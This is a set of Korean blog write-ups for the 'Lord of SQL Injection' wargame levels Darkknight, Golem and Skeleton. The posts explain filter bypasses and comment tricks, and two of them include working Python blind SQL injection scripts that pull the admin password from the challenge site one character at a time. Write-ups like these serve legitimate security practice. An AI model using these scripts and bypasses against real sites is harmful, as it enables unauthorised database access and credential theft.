#About


[그림 1] - 문제 화면





#Solution


위 문제는 인젝션 벡터가 될 수 있는 파라미터 no가 추가되었으며


pw의 필터링으로는 싱글 쿼터이며 no의 필터링으로는 싱글쿼터, substr, ascii, = 을 필터링한다


substr의 우회로는 substring과 mid가 있으며 현재 "substr"이라는 문자열 자체가 필터링되므로 mid를 사용하면 우회가 가능하다


[그림 2] - 쿼리 1


length 함수의 사용을 통해 pw의 길이가 8임을 알 수 있었다


[그림 3] - 쿼리 2



[그림 4] - 쿼리 3



[그림 5] - 쿼리 4



[그림 6] - 쿼리 5



[그림 7] - 쿼리 6



[그림 8] - 쿼리 7



[그림 9] - 쿼리 8



[그림 10] - 쿼리 9



[그림 11] - 문제 해결





#Blind SQL Injection Python Code


# -*- coding:utf-8 -*-

'''
Creator = Loddy
'''

import urllib2

query_ok = "<h2>Hello admin"
key="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZY"

print "[*] Start Search pw Length "

for len in range(1,100):
url = 'http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=Loddy&no=1||length(pw)%20like%20'+str(len)
request = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=9g5q9em05r8ke6d779qkg6ipm2")
read = urllib2.urlopen(request).read()
if read.find(query_ok) != -1:
print "\t%s = Correct"%(len)
length = len
break
else :
print "\t%s = Incorrect"%(len)

print "\n",
print "[*] Start Search pw Value"

def find_pw(test,pw):
url2 = "http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=Loddy&no=1||mid(pw," + str(pw) + ",1)%20like%20\"{}\"".format(str(key[test]))
request = urllib2.Request(url2, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=c45u9ekpnrmqctmqbocdsuead3")
read = urllib2.urlopen(request).read()
return read

for pw in range(1,length+1):
for test in range(0,63):
read = find_pw(test,pw)
if read.find(query_ok) != -1:
print "\t(pw,%d,1) = {}".format(key[test]) %pw
break



[그림 12] - 코드 결과


'Wargame' 카테고리의 다른 글

[Lord of SQL Injection] Giant  (0) 2017.11.01
[Lord of SQL Injection] Bugbear  (0) 2017.11.01
[Lord of SQL Injection] Golem  (0) 2017.10.30
[Lord of SQL Injection] Skeleton  (0) 2017.10.30
[Lord of SQL Injection] Vampire  (0) 2017.10.30

#About


[그림 1] - 문제 화면




#Solution


위 문제에서는 or, and, substr(, =을 필터링 하며 이를 우회하여 admin의 실제 pw 값을 알아내면 문제가 해결 된다


데이터베이스의 id 필드에 있는 admin의 실제 pw 값을 알아야 하므로 Blind SQL Injection 문제이며


 필터링 되는 문자열 우회는 or 은 ||로, and 는 &&로, substr( 은 substring( 로 우회가 가능하다


[그림 2] - 쿼리 1


위 그림에서는 length 함수를 사용하여 pw의 값의 길이가 8임을 알 수 있었다


[그림 3] - 쿼리 2



[그림 4] - 쿼리 3



[그림 5] - 쿼리 4



[그림 6] - 쿼리 5



[그림 7] - 쿼리 6



[그림 8] - 쿼리 7



[그림 9] - 쿼리 8



[그림 10] - 쿼리 9



[그림 11] - 문제 해결





#Blind SQL Injection Python Code


# -*- coding:utf-8 -*-

'''
Creator = Loddy
'''

import urllib2

query_ok = "<h2>Hello admin"
key="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZY"

print "[*] Start Search pw Length "

for len in range(1,10):
url = 'http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=%27||length(pw)%20like%20'+str(len)+'%23'
request = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=9g5q9em05r8ke6d779qkg6ipm2")
read = urllib2.urlopen(request).read()
if read.find(query_ok) != -1:
print "\t%s = Correct"%(len)
else :
print "\t%s = Incorrect"%(len)

print "\n",
print "[*] Start Search pw Value"

def find_pw(test,pw):
url2 = "http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=%27||substring(pw," + str(pw) + ",1)%20like%20'{}'%23".format(str(key[test]))
request = urllib2.Request(url2, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=c45u9ekpnrmqctmqbocdsuead3")
read = urllib2.urlopen(request).read()
return read

for pw in range(1,9):
for test in range(0,63):
read = find_pw(test,pw)
if read.find(query_ok) != -1:
print "\t(pw,%d,1) = {}".format(key[test]) %pw
break



[그림 12] - 코드 결과



'Wargame' 카테고리의 다른 글

[Lord of SQL Injection] Bugbear  (0) 2017.11.01
[Lord of SQL Injection] Darkknight  (0) 2017.10.30
[Lord of SQL Injection] Skeleton  (0) 2017.10.30
[Lord of SQL Injection] Vampire  (0) 2017.10.30
[Lord of SQL Injection] Troll  (0) 2017.10.30

#About


[그림 1] - 문제 화면




#Solution


위 문제는 $query에 담기는 구문 중 and 1=0이 추가 되었다는 것만이 특징이며 다른 문제와 같이 admin을 결과 값으로 뽑아내면 문제가 해결 된다


인젝션 벡터인 파라미터 pw에 admin 값을 뽑아내는 구문을 적었다해도 and 1=0 때문에 전체 쿼리문이 거짓이 되게 되며


이를 해결하는 방법으로는 필요 없는 구문을 데이터베이스에서 읽어들이지 않는 주석을 사용하는 것이고


데이터베이스에서 사용되는 주석은 #, -- , /**/ 로 총 3가지로 나뉜다


여기서 주의해야할 점은 쿼리에 #은 URL 인코딩을 거친 결과 값인 %23으로 입력 해주어야 하고


-- 는 반드시 공백을 의미하는 스페이스바(%20)를 끝에 함께 써주어야 한다


[그림 2] - 쿼리 1



[그림 3] - 쿼리 2



[그림 4] - 쿼리 3



'Wargame' 카테고리의 다른 글

[Lord of SQL Injection] Darkknight  (0) 2017.10.30
[Lord of SQL Injection] Golem  (0) 2017.10.30
[Lord of SQL Injection] Vampire  (0) 2017.10.30
[Lord of SQL Injection] Troll  (0) 2017.10.30
[Lord of SQL Injection] Orge  (0) 2017.10.29

+ Recent posts